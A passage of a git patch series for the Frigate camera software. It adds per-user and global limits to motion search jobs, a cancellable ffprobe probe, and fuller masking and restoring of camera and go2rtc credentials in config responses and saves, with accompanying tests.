None or now - job.cancelled_at < CANCEL_GRACE_SECONDS + + def stop_all_motion_search_jobs() -> None: """Cancel all running motion search jobs for clean shutdown.""" with _jobs_lock: @@ -857,10 +892,13 @@ def start_motion_search_job( min_area: float = 5.0, parallel: bool = False, max_results: int = 25, + username: str | None = None, ) -> str: """Start a new motion search job. - Returns the job ID. + Returns the job ID. Raises MotionSearchUserBusyError when ``username`` already + has an active job and MotionSearchCapacityError when MAX_ACTIVE_JOBS are active. + Pass ``username=None`` when callers share an identity to skip the per-user check. """ job = MotionSearchJob( camera=camera_name, @@ -871,17 +909,38 @@ def start_motion_search_job( min_area=min_area, parallel=parallel, max_results=max_results, + username=username, ) cancel_event = threading.Event() with _jobs_lock: + now = datetime.now().timestamp() + _evict_finished_jobs(now) + + # A cancelled job keeps its thread until the runner sets end_time, so it + # still counts toward the global cap. Its user may start a new search. + active = [j for j, _ in _motion_search_jobs.values() if _is_active(j, now)] + if username is not None and any( + j.username == username and j.status != JobStatusTypesEnum.cancelled + for j in active + ): + raise MotionSearchUserBusyError() + if len(active) >= MAX_ACTIVE_JOBS: + raise MotionSearchCapacityError() + _motion_search_jobs[job.id] = (job, cancel_event) - set_current_job(job) - - runner = MotionSearchRunner(job, config, cancel_event) - runner.start() + runner: MotionSearchRunner | None = None + try: + runner = MotionSearchRunner(job, config, cancel_event) + runner.start() + except Exception: + if runner is not None: + runner.requestor.stop() + with _jobs_lock: + del _motion_search_jobs[job.id] + raise logger.debug( "Started motion search job %s for camera %s: " @@ -904,10 +963,7 @@ def get_motion_search_job(job_id: str) -> MotionSearchJob | None: """Get a motion search job by ID.""" with _jobs_lock: job_entry = _motion_search_jobs.get(job_id) - if job_entry: - return job_entry[0] - # Check completed jobs via manager - return cast(MotionSearchJob | None, get_job_by_id("motion_search", job_id)) + return job_entry[0] if job_entry else None def cancel_motion_search_job(job_id: str) -> bool: @@ -928,6 +984,7 @@ def cancel_motion_search_job(job_id: str) -> bool: cancel_event.set() job.status = JobStatusTypesEnum.cancelled + job.cancelled_at = datetime.now().timestamp() job_payload = job.to_dict() logger.info("Cancelled motion search job %s", job_id) diff --git a/frigate/jobs/motion_search_decode.py b/frigate/jobs/motion_search_decode.py index 3b6e0cf4cc..ba56ae2d44 100644 --- a/frigate/jobs/motion_search_decode.py +++ b/frigate/jobs/motion_search_decode.py @@ -10,6 +10,7 @@ import json import logging import subprocess as sp import tempfile +import time from collections.abc import Callable, Generator from typing import IO @@ -264,11 +265,16 @@ def iter_vod_frames( ) -def probe_vod_keyframe_pts(ffprobe_path: str, vod_url: str) -> list[float]: +KEYFRAME_PROBE_TIMEOUT = 120.0 + + +def probe_vod_keyframe_pts( + ffprobe_path: str, vod_url: str, should_stop: Callable[[], bool] +) -> list[float]: """Return keyframe presentation timestamps (VOD stream time) in order. Reads packet flags via ffprobe over the VOD URL (no decode). Returns [] on - any failure so the caller can fall back. + any failure, timeout, or stop request so the caller can fall back. """ cmd = [ ffprobe_path, @@ -286,16 +292,27 @@ def probe_vod_keyframe_pts(ffprobe_path: str, vod_url: str) -> list[float]: "json", ] try: - completed = sp.run(cmd, capture_output=True, text=True, timeout=120) - except (OSError, sp.SubprocessError): + proc = sp.Popen(cmd, stdout=sp.PIPE, stderr=sp.DEVNULL, text=True) + except OSError: logger.warning("ffprobe failed for VOD keyframe probe") return [] - if completed.returncode != 0 or not completed.stdout: + deadline = time.monotonic() + KEYFRAME_PROBE_TIMEOUT + while True: + try: + stdout, _ = proc.communicate(timeout=0.5) + break + except sp.TimeoutExpired: + if should_stop() or time.monotonic() > deadline: + proc.kill() + proc.communicate() + return [] + + if proc.returncode != 0 or not stdout: return [] try: - packets = json.loads(completed.stdout).get("packets", []) + packets = json.loads(stdout).get("packets", []) except json.JSONDecodeError: return [] diff --git a/frigate/test/http_api/test_http_motion_search.py b/frigate/test/http_api/test_http_motion_search.py new file mode 100644 index 0000000000..35a0211679 --- /dev/null +++ b/frigate/test/http_api/test_http_motion_search.py @@ -0,0 +1,121 @@ +"""Tests for motion search job limits.""" + +from datetime import datetime +from unittest.mock import patch + +from frigate.jobs import motion_search +from frigate.models import Event, Recordings, ReviewSegment +from frigate.test.http_api.base_http_test import AuthTestClient, BaseTestHttp + +URL = "/front_door/search/motion" +BODY = { + "start_time": 1000, + "end_time": 2000, + "polygon_points": [[0, 0], [1, 0], [1, 1]], +} + + +class TestHttpMotionSearch(BaseTestHttp): + def setUp(self): + super().setUp([Event, Recordings, ReviewSegment]) + self.app = self.create_app() + + motion_search._motion_search_jobs.clear() + self.addCleanup(motion_search._motion_search_jobs.clear) + + runner_patch = patch("frigate.jobs.motion_search.MotionSearchRunner") + self.runner = runner_patch.start() + self.addCleanup(runner_patch.stop) + + def start(self, client: AuthTestClient, user: str, body: dict = BODY): + return client.post(URL, json=body, headers={"remote-user": user}) + + def test_second_job_for_same_user_rejected(self): + with AuthTestClient(self.app) as client: + self.assertEqual(self.start(client, "alice").status_code, 200) + self.assertEqual(self.start(client, "alice").status_code, 409) + self.assertEqual(self.start(client, "bob").status_code, 200) + + def test_user_can_start_again_after_job_finishes(self): + with AuthTestClient(self.app) as client: + job_id = self.start(client, "alice").json()["job_id"] + job = motion_search.get_motion_search_job(job_id) + job.end_time = datetime.now().timestamp() + self.assertEqual(self.start(client, "alice").status_code, 200) + self.assertIsNotNone(motion_search.get_motion_search_job(job_id)) + + def test_cancelled_job_frees_user_but_holds_global_slot_until_grace(self): + with AuthTestClient(self.app) as client: + job_id = self.start(client, "alice").json()["job_id"] + with patch("frigate.jobs.motion_search.InterProcessRequestor"): + self.assertTrue(motion_search.cancel_motion_search_job(job_id)) + job = motion_search.get_motion_search_job(job_id) + self.assertIsNotNone(job.cancelled_at) + self.assertIsNone(job.end_time) + + self.assertEqual(self.start(client, "alice").status_code, 200) + self.assertEqual(self.start(client, "bob").status_code, 200) + self.assertEqual(self.start(client, "carol").status_code, 429) + + job.cancelled_at -= motion_search.CANCEL_GRACE_SECONDS + 1 + self.assertEqual(self.start(client, "carol").status_code, 200) + + def test_start_failure_releases_slot(self): + self.runner.return_value.start.side_effect = RuntimeError("boom") + with AuthTestClient(self.app) as client: + with self.assertRaises(RuntimeError): + self.start(client, "alice") + self.assertEqual(motion_search._motion_search_jobs, {}) + self.runner.return_value.requestor.stop.assert_called_once() + + self.runner.return_value.start.side_effect = None + self.assertEqual(self.start(client, "alice").status_code, 200) + + def test_shared_identity_skips_per_user_limit(self): + with AuthTestClient(self.app) as client: + self.assertEqual(self.start(client, "anonymous").status_code, 200) + self.assertEqual(self.start(client, "anonymous").status_code, 200) + + motion_search._motion_search_jobs.clear() + self.minimal_config["auth"] = {"enabled": False} + app = self.create_app() + with AuthTestClient(app) as client: + self.assertEqual(self.start(client, "viewer").status_code, 200) + self.assertEqual(self.start(client, "viewer").status_code, 200) + + def test_proxy_user_header_keeps_per_user_limit_without_auth(self): + self.minimal_config["auth"] = {"enabled": False} + self.minimal_config["proxy"] = {"header_map": {"user": "x-forwarded-user"}} + app = self.create_app() + with AuthTestClient(app) as client: + self.assertEqual(self.start(client, "alice").status_code, 200) + self.assertEqual(self.start(client, "alice").status_code, 409) + + def test_global_cap_enforced(self): + with AuthTestClient(self.app) as client: + for i in range(motion_search.MAX_ACTIVE_JOBS): + self.assertEqual(self.start(client, f"user{i}").status_code, 200) + self.assertEqual(self.start(client, "late").status_code, 429) + + def test_finished_jobs_evicted_after_ttl(self): + with AuthTestClient(self.app) as client: + old_id = self.start(client, "alice").json()["job_id"] + recent_id = self.start(client, "bob").json()["job_id"] + running_id = self.start(client, "carol").json()["job_id"] + + now = 10_000.0 + motion_search.get_motion_search_job(old_id).end_time = ( + now - motion_search.FINISHED_JOB_TTL - 1 + ) + motion_search.get_motion_search_job(recent_id).end_time = now - 1 + motion_search._evict_finished_jobs(now) + + self.assertIsNone(motion_search.get_motion_search_job(old_id)) + self.assertIsNotNone(motion_search.get_motion_search_job(recent_id)) + self.assertIsNotNone(motion_search.get_motion_search_job(running_id)) + + def test_username_and_cancel_time_not_broadcast(self): + job = motion_search.MotionSearchJob(username="alice", cancelled_at=1.0) + payload = job.to_dict() + self.assertNotIn("username", payload) + self.assertNotIn("cancelled_at", payload) diff --git a/frigate/test/test_motion_search_decode.py b/frigate/test/test_motion_search_decode.py index fda0837662..75e29e4351 100644 --- a/frigate/test/test_motion_search_decode.py +++ b/frigate/test/test_motion_search_decode.py @@ -1,5 +1,6 @@ """Tests for the motion search hardware-accelerated decode helpers.""" +import subprocess as sp import unittest from types import SimpleNamespace from unittest import mock @@ -140,6 +141,11 @@ class TestVodDecodeCommand(unittest.TestCase): class TestProbeVodKeyframePts(unittest.TestCase): + def _proc(self, stdout="", returncode=0): + proc = mock.Mock(returncode=returncode) + proc.communicate.return_value = (stdout, None) + return proc + def test_parses_keyframe_packets(self): sample = ( '{"packets":[' @@ -147,19 +153,37 @@ class TestProbeVodKeyframePts(unittest.TestCase): '{"pts_time":"1.000000","flags":"___"},' '{"pts_time":"2.000000","flags":"K__"}]}' ) - completed = mock.Mock(stdout=sample, returncode=0) with mock.patch( - "frigate.jobs.motion_search_decode.sp.run", return_value=completed + "frigate.jobs.motion_search_decode.sp.Popen", + return_value=self._proc(sample), ): - pts = probe_vod_keyframe_pts("ffprobe", "http://x/index.m3u8") + pts = probe_vod_keyframe_pts( + "ffprobe", "http://x/index.m3u8", lambda: False + ) self.assertEqual(pts, [0.0, 2.0]) def test_returns_empty_on_failure(self): with mock.patch( - "frigate.jobs.motion_search_decode.sp.run", + "frigate.jobs.motion_search_decode.sp.Popen", side_effect=OSError("boom"), ): - self.assertEqual(probe_vod_keyframe_pts("ffprobe", "http://x"), []) + self.assertEqual( + probe_vod_keyframe_pts("ffprobe", "http://x", lambda: False), [] + ) + + def test_stop_request_kills_probe(self): + proc = self._proc() + proc.communicate.side_effect = [ + sp.TimeoutExpired("ffprobe", 0.5), + ("", None), + ] + with mock.patch( + "frigate.jobs.motion_search_decode.sp.Popen", return_value=proc + ): + self.assertEqual( + probe_vod_keyframe_pts("ffprobe", "http://x", lambda: True), [] + ) + proc.kill.assert_called_once() class TestProbeVideoDimensions(unittest.TestCase): diff --git a/web/public/locales/en/views/motionSearch.json b/web/public/locales/en/views/motionSearch.json index 8358bfb75d..e2eccf2df8 100644 --- a/web/public/locales/en/views/motionSearch.json +++ b/web/public/locales/en/views/motionSearch.json @@ -56,6 +56,8 @@ "noROI": "Please draw a region of interest", "noTimeRange": "Please select a time range", "invalidTimeRange": "End time must be after start time", + "alreadyRunning": "You already have a motion search running. Wait for it to finish or cancel it.", + "tooManySearches": "Too many motion searches are running. Try again when one finishes.", "searchFailed": "Search failed: {{message}}", "polygonTooSmall": "Polygon must have at least 3 points", "unknown": "Unknown error" diff --git a/web/src/views/motion-search/MotionSearchView.tsx b/web/src/views/motion-search/MotionSearchView.tsx index 01c3632444..c9e4fba92b 100644 --- a/web/src/views/motion-search/MotionSearchView.tsx +++ b/web/src/views/motion-search/MotionSearchView.tsx @@ -892,6 +892,20 @@ export default function MotionSearchView({ setIsSearching(false); } } catch (error) { + const status = axios.isAxiosError(error) + ? error.response?.status + : undefined; + + if (status === 409 || status === 429) { + toast.error( + t( + status === 409 ? "errors.alreadyRunning" : "errors.tooManySearches", + ), + ); + setIsSearching(false); + return; + } + let errorMessage = t("errors.unknown"); if (axios.isAxiosError<{ message?: string; detail?: string }>(error)) { From 53ca9c929b09a779b1c8e24a38d773d08b230d73 Mon Sep 17 00:00:00 2001 From: Josh Hawkins <32435876+hawkeye217@users.noreply.github.com> Date: Mon, 19 Oct 2026 09:54:28 -0500 Subject: [PATCH 10/13] Mask all camera credentials in config (#24719) * mask every credential form in camera and go2rtc urls The credential mask only matched a userinfo with a [A-Za-z0-9_-] username or the exact user=..&password=.. query order, so dotted or email usernames, password-only userinfo (tapo://pw@host), empty usernames, reversed or renamed query credentials, and token query strings (ring refresh_token, nest client_secret, homekit client_private) reached every authenticated user through /config, /go2rtc/streams, /stats and /metrics. clean_camera_user_pass now masks any userinfo and any credential-named query parameter, and the config save restore and the settings UI detect masked paths with the same patterns so a save never writes the mask back over the real credential. * redact go2rtc rtsp, api and webrtc credentials in /config /config cleaned only go2rtc.streams, so go2rtc.rtsp and go2rtc.api usernames and passwords and the WebRTC ICE server credentials went back verbatim to any authenticated user. They now use the redaction sentinel like the MQTT and ONVIF passwords. Config save already dropped a field equal to the sentinel, but lists are leaf values after flattening, so an ice_servers list echoed back from /config would have written the sentinel to disk. Save now drops any value that contains it. * bound the credential mask to the url authority The userinfo pattern ran from any host:port to the last "@" in the token, so rtsp://host:554/live?x=a@b lost its host and a comma between two URLs was swallowed, which merged the paths /ffprobe splits on. It also backtracked quadratically on long lines with many "://", and every subprocess log line goes through it. A "user:" userinfo now runs to the last "@" before the next URL unless a port follows the colon, and any other userinfo stops at the end of the authority. Query masking now covers only real secret names, so auth, private and autoken are left alone. * restore masked credentials by value on config save Masked camera paths were restored by index, so deleting the first input wrote its credentials onto the next input. Each masked path now matches the saved input that masks to the same value, with roles breaking a tie, and an unmatched or ambiguous path is rejected instead of written. A redacted ICE server is filled from the saved server with the same urls, or rejected when its urls changed, instead of dropping the whole list. /config also redacts the go2rtc mqtt credentials, the ngrok command, homekit pins and pairings, and publish destinations. * restore masked camera paths from the saved yaml Masked paths were restored from the in-memory config, where {FRIGATE_*} placeholders are already resolved, so saving an untouched camera replaced the placeholder in config.yml with the real secret. Masked paths now restore from the YAML on disk, matched against each saved path with its placeholders resolved, so the path is written back as it was. In-memory saves still restore from the live config. * mask passwords that start with digits The port check in the userinfo pattern also matched passwords, so rtsp://admin:2024/pw@host and rtsp://admin:12#abc@host went out unmasked where the old regex masked them. The check is gone. Stopping at the next "://" already keeps the comma between two ffprobe paths, and a host:port/path@x is over-masked for display only, since saves restore it by value. * reject config saves that still hold masked credentials Index-keyed input maps, query-string saves and go2rtc stream lists echoed from /config bypassed the credential restore and could write a masked path or the redaction sentinel over the real value. Every save, body or query string, now rejects any value that still holds one after the restores run, naming the field. * fix partial password masking and ambiguous ice server restore - Mask userinfo before query params so a credential key inside a password can't leave the rest of it visible - Reject restoring redacted ice servers when saved servers share urls but hold different accounts * mask the whole url when userinfo and a query credential overlap Masking userinfo first leaked the tail of a query password holding "@" on URLs with a port, like rtsp://10.0.0.2:554/live?password=pre@suf. When the userinfo span contains a credential query key, the mask now covers the rest of the URL in both clean_camera_user_pass and maskCredentials. * resolve placeholders with dev's env module * reveal camera paths by masked value instead of position After deleting or reordering inputs in the camera ffmpeg form, the path widget looked up raw_paths by index and revealed another input's real path, which a save then wrote with the wrong roles. The widget now matches the saved path whose mask equals the field's value, the same rule the backend uses on save, and doesn't reveal when there is no single match. * stop redacting ice servers and break camera path ties by role The WebRTC player passes /config's ice_servers to RTCPeerConnection, so redacting them sent the placeholder as the TURN account. ICE servers are no longer redacted and the restore code for them is removed. The camera path widget now uses the input's roles to pick between saved paths that mask to the same value, as the backend does on save. --- frigate/api/app.py | 205 ++++++++-- frigate/const.py | 14 +- frigate/test/http_api/test_http_config_set.py | 353 ++++++++++++++++++ frigate/test/test_camera_pw.py | 94 ++++- frigate/util/builtin.py | 26 +- .../settings/camera-ffmpeg-streams.spec.ts | 68 +++- .../theme/widgets/CameraPathWidget.tsx | 33 +- web/src/utils/credentialMask.ts | 59 ++- 8 files changed, 774 insertions(+), 78 deletions(-) diff --git a/frigate/api/app.py b/frigate/api/app.py index d38876c34c..8f0fcb5f06 100644 --- a/frigate/api/app.py +++ b/frigate/api/app.py @@ -61,6 +61,7 @@ from frigate.util.builtin import ( clean_camera_user_pass, deep_merge, flatten_config_data, + is_masked_camera_path, load_labels, process_config_query_string, split_config_key_path, @@ -71,6 +72,7 @@ from frigate.util.config import ( find_config_file, redact_credential, ) +from frigate.util.env import substitute_frigate_vars from frigate.util.live_streams import ( generated_transcode_streams, sync_transcode_streams, @@ -402,6 +404,8 @@ def config(request: Request): config["go2rtc"]["streams"][stream_name] = cleaned + _redact_go2rtc_credentials(config["go2rtc"]) + config["plus"] = {"enabled": request.app.frigate_config.plus_api.is_active()} for index, model in enumerate(config_obj.models): @@ -428,6 +432,28 @@ def config(request: Request): return JSONResponse(content=config) +def _redact_go2rtc_credentials(go2rtc: dict[str, Any]) -> None: + """Redact go2rtc secrets outside of stream URLs, in place.""" + for section in ("rtsp", "api", "mqtt"): + if isinstance(go2rtc.get(section), dict): + redact_credential(go2rtc[section], "username") + redact_credential(go2rtc[section], "password") + + if isinstance(go2rtc.get("ngrok"), dict): + redact_credential(go2rtc["ngrok"], "command") + + if isinstance(go2rtc.get("homekit"), dict): + for accessory in go2rtc["homekit"].values(): + if isinstance(accessory, dict): + for key in ("pin", "device_private", "pairings"): + redact_credential(accessory, key) + + # publish destinations carry stream keys in the URL path + if isinstance(go2rtc.get("publish"), dict): + for name in list(go2rtc["publish"]): + redact_credential(go2rtc["publish"], name) + + @router.get("/profiles", dependencies=[Depends(allow_any_authenticated())]) def get_profiles(request: Request): """List all available profiles and the currently active profile.""" @@ -742,17 +768,24 @@ def config_save(save_option: str, body: Any = Body(media_type="text/plain")): ) -def _restore_masked_camera_paths(config_data: dict, config: FrigateConfig) -> None: - """Substitute incoming `*:*` masked credentials with the in-memory ones. +def _restore_masked_camera_paths(config_data: dict, saved: dict) -> str | None: + """Substitute incoming masked camera paths with the saved ones. The /config response masks ffmpeg input credentials, so the settings UI sends the masked path back when sibling fields (e.g. hwaccel_args) are - edited. Without this we'd write `rtsp://*:*@host` into YAML and lose - the real credentials. Mutates `config_data` in place. + edited. Each masked path is matched to the saved input that masks to the + same value, with roles breaking a tie, so deleting or reordering inputs + keeps each path's own credentials. The saved path is restored as written, + keeping any {FRIGATE_*} placeholder. Mutates `config_data` in place and + returns an error message when a masked path has no single match. """ cameras = config_data.get("cameras") if not isinstance(cameras, dict): - return + return None + + saved_cameras = saved.get("cameras") + if not isinstance(saved_cameras, dict): + saved_cameras = {} for camera_name, camera_data in cameras.items(): if not isinstance(camera_data, dict): @@ -760,20 +793,122 @@ def _restore_masked_camera_paths(config_data: dict, config: FrigateConfig) -> No inputs = camera_data.get("ffmpeg", {}).get("inputs") if not isinstance(inputs, list): continue - existing = config.cameras.get(camera_name) - if existing is None: - continue - existing_paths = [inp.path for inp in existing.ffmpeg.inputs] + + saved_camera = saved_cameras.get(camera_name) + saved_ffmpeg = ( + saved_camera.get("ffmpeg") if isinstance(saved_camera, dict) else None + ) + saved_inputs = [ + inp + for inp in ( + saved_ffmpeg.get("inputs") if isinstance(saved_ffmpeg, dict) else None + ) + or [] + if isinstance(inp, dict) and isinstance(inp.get("path"), str) + ] + for index, input_obj in enumerate(inputs): if not isinstance(input_obj, dict): continue path = input_obj.get("path") - if not isinstance(path, str): + if not isinstance(path, str) or not is_masked_camera_path(path): continue - if ("://*:*@" in path or "user=*&password=*" in path) and index < len( - existing_paths - ): - input_obj["path"] = existing_paths[index] + candidates = [ + inp + for inp in saved_inputs + if clean_camera_user_pass(_resolve_frigate_vars(inp["path"])) == path + ] + if len({inp["path"] for inp in candidates}) > 1: + candidates = [ + inp + for inp in candidates + if inp.get("roles") == input_obj.get("roles") + ] + real_paths = {inp["path"] for inp in candidates} + if len(real_paths) != 1: + return ( + f"Input {index} of camera {camera_name} has masked credentials " + "that could not be matched; resend it with real credentials" + ) + input_obj["path"] = real_paths.pop() + + return None + + +def _resolve_frigate_vars(value: str) -> str: + """Resolve {FRIGATE_*} placeholders the way /config shows them.""" + try: + return substitute_frigate_vars(value) + except ValueError: + return value + + +def _saved_config_from_memory(config: FrigateConfig) -> dict[str, Any]: + """Shape the in-memory camera inputs like the saved YAML.""" + return { + "cameras": { + name: { + "ffmpeg": { + "inputs": [ + {"path": inp.path, "roles": [role.value for role in inp.roles]} + for inp in camera.ffmpeg.inputs + ] + } + } + for name, camera in config.cameras.items() + }, + } + + +def _config_data_to_updates( + config_data: dict, saved: dict[str, Any] +) -> tuple[dict[str, Any], str | None]: + """Flatten a /config/set payload after restoring masked credentials. + + `saved` is the config the masked values were taken from. Returns the flat + updates, or an error message when a masked value can't be restored. + """ + error = _restore_masked_camera_paths(config_data, saved) + if error: + return {}, error + + updates = flatten_config_data(config_data) + # Convert None values to empty strings for deletion (e.g., when deleting masks) + updates = {k: ("" if v is None else v) for k, v in updates.items()} + # Drop sentinel-valued fields so untouched credential placeholders don't + # clobber the saved YAML value. + updates = {k: v for k, v in updates.items() if v != REDACTED_CREDENTIAL_SENTINEL} + + error = _find_masked_update(updates) + if error: + return {}, error + + return updates, None + + +def _holds_masked_value(value: Any) -> bool: + if isinstance(value, str): + return REDACTED_CREDENTIAL_SENTINEL in value or is_masked_camera_path(value) + if isinstance(value, dict): + return any(_holds_masked_value(v) for v in value.values()) + if isinstance(value, list): + return any(_holds_masked_value(v) for v in value) + return False + + +def _find_masked_update(updates: dict[str, Any]) -> str | None: + """Return an error naming the first update that still holds a masked value. + + Runs after the restores so a masked path or redaction sentinel that could + not be restored is never written over the real credential. + """ + for key, value in updates.items(): + if _holds_masked_value(value): + return ( + f"{key} contains masked or saved credentials; " + "resend it with real values" + ) + return None def _config_set_in_memory(request: Request, body: AppConfigSetBody) -> JSONResponse: @@ -786,13 +921,13 @@ def _config_set_in_memory(request: Request, body: AppConfigSetBody) -> JSONRespo try: updates = {} if body.config_data: - _restore_masked_camera_paths(body.config_data, request.app.frigate_config) - updates = flatten_config_data(body.config_data) - updates = {k: ("" if v is None else v) for k, v in updates.items()} - # Drop any field whose value is still the redaction sentinel - updates = { - k: v for k, v in updates.items() if v != REDACTED_CREDENTIAL_SENTINEL - } + updates, error = _config_data_to_updates( + body.config_data, _saved_config_from_memory(request.app.frigate_config) + ) + if error: + return JSONResponse( + content={"success": False, "message": error}, status_code=400 + ) if not updates: return JSONResponse( @@ -939,22 +1074,26 @@ def config_set(request: Request, body: AppConfigSetBody): # Filter out empty keys but keep blank values for non-empty keys query_string = {k: v for k, v in query_string.items() if k} + error = None + if query_string: updates = process_config_query_string(query_string) + error = _find_masked_update(updates) elif body.config_data: - _restore_masked_camera_paths( - body.config_data, request.app.frigate_config + try: + saved_config = ruamel.yaml.YAML(typ="safe").load(old_raw_config) + except ruamel.yaml.YAMLError: + saved_config = None + updates, error = _config_data_to_updates( + body.config_data, + saved_config if isinstance(saved_config, dict) else {}, + ) + + if error: + return JSONResponse( + content={"success": False, "message": error}, + status_code=400, ) - updates = flatten_config_data(body.config_data) - # Convert None values to empty strings for deletion (e.g., when deleting masks) - updates = {k: ("" if v is None else v) for k, v in updates.items()} - # Drop sentinel-valued fields so untouched credential - # placeholders don't clobber the saved YAML value. - updates = { - k: v - for k, v in updates.items() - if v != REDACTED_CREDENTIAL_SENTINEL - } if not updates: return JSONResponse( diff --git a/frigate/const.py b/frigate/const.py index 6ef8919be2..6f4a8470ae 100644 --- a/frigate/const.py +++ b/frigate/const.py @@ -117,7 +117,19 @@ SUPPORTED_RK_SOCS = ["rk3562", "rk3566", "rk3568", "rk3576", "rk3588"] REGEX_CAMERA_NAME = r"^[a-zA-Z0-9_-]+$" REGEX_RTSP_CAMERA_USER_PASS = r":\/\/[a-zA-Z0-9_-]+:[\S]+@" -REGEX_HTTP_CAMERA_USER_PASS = r"user=[a-zA-Z0-9_-]+&password=[\S]+" +# A "user:" userinfo may hold "/", "#" or "@" in the password, so it runs to the +# last "@" before the next URL. Anything else stops at the authority end. Group 1 +# is the userinfo and group 2 the rest of the URL. +REGEX_URL_USERINFO = ( + r"://((?:[^\s/?#:\[\]]*:(?:(?!://)\S)*|[^\s/?#]+))@((?:(?!://)\S)*)" +) +_CREDENTIAL_QUERY_KEYS = ( + r"(?:user(?:name)?|usr|login|pass(?:word|wd)?|pwd" + r"|(?:[a-z_]*_)?token|(?:[a-z_]*_)?secret|client_private|api_?key)" +) +REGEX_CREDENTIAL_QUERY_KEY = rf"(?i)[?&]{_CREDENTIAL_QUERY_KEYS}=" +REGEX_CREDENTIAL_QUERY_PARAM = rf"(?i)([?&]{_CREDENTIAL_QUERY_KEYS}=)[^&\s]*" +REGEX_MASKED_CREDENTIAL = rf"(?i)://\*:\*@|[?&]{_CREDENTIAL_QUERY_KEYS}=\*(?![^&\s])" REGEX_JSON = re.compile(r"^\s*\{") # Known Driver Names diff --git a/frigate/test/http_api/test_http_config_set.py b/frigate/test/http_api/test_http_config_set.py index f31d382c51..009e72573a 100644 --- a/frigate/test/http_api/test_http_config_set.py +++ b/frigate/test/http_api/test_http_config_set.py @@ -14,6 +14,7 @@ from frigate.config.camera.updater import ( CameraConfigUpdateTopic, ) from frigate.config.holder import ConfigHolder +from frigate.const import REDACTED_CREDENTIAL_SENTINEL from frigate.models import Event, Recordings, ReviewSegment from frigate.test.http_api.base_http_test import AuthTestClient, BaseTestHttp @@ -503,6 +504,358 @@ class TestConfigSetWildcardPropagation(BaseTestHttp): finally: os.unlink(config_path) + camera_path = "rtsp://10.0.0.1:554/video?password=s3cret&user=admin" + + def _add_credentials(self): + """Give the config a credentialed camera path and go2rtc secrets.""" + self.minimal_config["cameras"]["front_door"]["ffmpeg"]["inputs"][0]["path"] = ( + self.camera_path + ) + self.minimal_config["go2rtc"] = { + "rtsp": {"username": "rtspuser", "password": "rtsppass"}, + "api": {"username": "apiuser", "password": "apipass"}, + "mqtt": {"username": "mquser", "password": "mqpass"}, + "ngrok": {"command": "ngrok tcp 8555 --authtoken ngroksecret"}, + "homekit": {"front_door": {"pin": "19550224"}}, + "publish": {"front_door": "rtmp://a.rtmp.youtube.com/live2/streamkey"}, + "webrtc": { + "candidates": ["10.0.0.5:8555"], + "ice_servers": [ + { + "urls": ["turn:turn.example.com:3478"], + "username": "turnuser", + "credential": "turnpass", + } + ], + }, + } + + def _read_config_file(self, config_path): + with open(config_path) as f: + raw = f.read() + return raw, ruamel.yaml.YAML().load(raw) + + @patch("frigate.api.app.find_config_file") + def test_masked_camera_path_round_trips(self, mock_find_config): + self._add_credentials() + config_path = self._write_config_file() + mock_find_config.return_value = config_path + + try: + app, _ = self._create_app_with_publisher() + + with AuthTestClient(app) as client: + camera = client.get("/config").json()["cameras"]["front_door"] + inputs = camera["ffmpeg"]["inputs"] + self.assertNotIn("s3cret", inputs[0]["path"]) + + resp = client.put( + "/config/set", + json={ + "config_data": { + "cameras": { + "front_door": { + "ffmpeg": {"inputs": inputs}, + "detect": {"fps": 7}, + } + } + }, + "requires_restart": 0, + }, + ) + self.assertEqual(resp.status_code, 200) + + _, saved = self._read_config_file(config_path) + self.assertEqual( + saved["cameras"]["front_door"]["ffmpeg"]["inputs"][0]["path"], + self.camera_path, + ) + finally: + os.unlink(config_path) + + def _save(self, client, config_data): + return client.put( + "/config/set", + json={"config_data": config_data, "requires_restart": 0}, + ) + + def _set_inputs(self, paths): + self.minimal_config["cameras"]["front_door"]["ffmpeg"]["inputs"] = [ + {"path": path, "roles": [role]} for path, role in paths + ] + + # config parsing rebuilds FRIGATE_ENV_VARS from its sources + @patch.dict("frigate.util.env._CONTAINER_ENV", {"FRIGATE_RTSP_PASSWORD": "s3cret"}) + @patch.dict( + "frigate.util.env.FRIGATE_ENV_VARS", {"FRIGATE_RTSP_PASSWORD": "s3cret"} + ) + @patch("frigate.api.app.find_config_file") + def test_masked_path_keeps_env_placeholder(self, mock_find_config): + path = "rtsp://admin:{FRIGATE_RTSP_PASSWORD}@10.0.0.1:554/live" + self._set_inputs([(path, "detect")]) + config_path = self._write_config_file() + mock_find_config.return_value = config_path + + try: + app, _ = self._create_app_with_publisher() + + with AuthTestClient(app) as client: + camera = client.get("/config").json()["cameras"]["front_door"] + self.assertNotIn("s3cret", str(camera)) + + resp = self._save( + client, + { + "cameras": { + "front_door": { + "ffmpeg": {"inputs": camera["ffmpeg"]["inputs"]}, + "detect": {"fps": 7}, + } + } + }, + ) + self.assertEqual(resp.status_code, 200) + + raw, saved = self._read_config_file(config_path) + self.assertNotIn("s3cret", raw) + self.assertEqual( + saved["cameras"]["front_door"]["ffmpeg"]["inputs"][0]["path"], path + ) + finally: + os.unlink(config_path) + + @patch("frigate.api.app.find_config_file") + def test_over_masked_path_round_trips(self, mock_find_config): + path = "rtsp://10.0.0.1:554/live?x=a@b" + self._set_inputs([(path, "detect")]) + config_path = self._write_config_file() + mock_find_config.return_value = config_path + + try: + app, _ = self._create_app_with_publisher() + + with AuthTestClient(app) as client: + inputs = client.get("/config").json()["cameras"]["front_door"][ + "ffmpeg" + ]["inputs"] + self.assertNotEqual(inputs[0]["path"], path) + + resp = self._save( + client, + {"cameras": {"front_door": {"ffmpeg": {"inputs": inputs}}}}, + ) + self.assertEqual(resp.status_code, 200) + + _, saved = self._read_config_file(config_path) + self.assertEqual( + saved["cameras"]["front_door"]["ffmpeg"]["inputs"][0]["path"], path + ) + finally: + os.unlink(config_path) + + @patch("frigate.api.app.find_config_file") + def test_unrestorable_masked_values_are_rejected(self, mock_find_config): + self._add_credentials() + config_path = self._write_config_file() + mock_find_config.return_value = config_path + + try: + app, _ = self._create_app_with_publisher() + + with AuthTestClient(app) as client: + for name, request in ( + ( + "index-keyed inputs", + { + "json": { + "config_data": { + "cameras": { + "front_door": { + "ffmpeg": { + "inputs": { + "0": {"path": "rtsp://*:*@h/x"} + } + } + } + } + }, + "requires_restart": 0, + } + }, + ), + ( + "go2rtc streams", + { + "json": { + "config_data": { + "go2rtc": {"streams": {"cam": ["rtsp://*:*@h/x"]}} + }, + "requires_restart": 0, + } + }, + ), + ( + "query string", + { + "params": { + "cameras.front_door.ffmpeg.inputs.0.path": ( + "rtsp://*:*@h/x" + ), + "go2rtc.rtsp.password": REDACTED_CREDENTIAL_SENTINEL, + }, + "json": {"requires_restart": 0}, + }, + 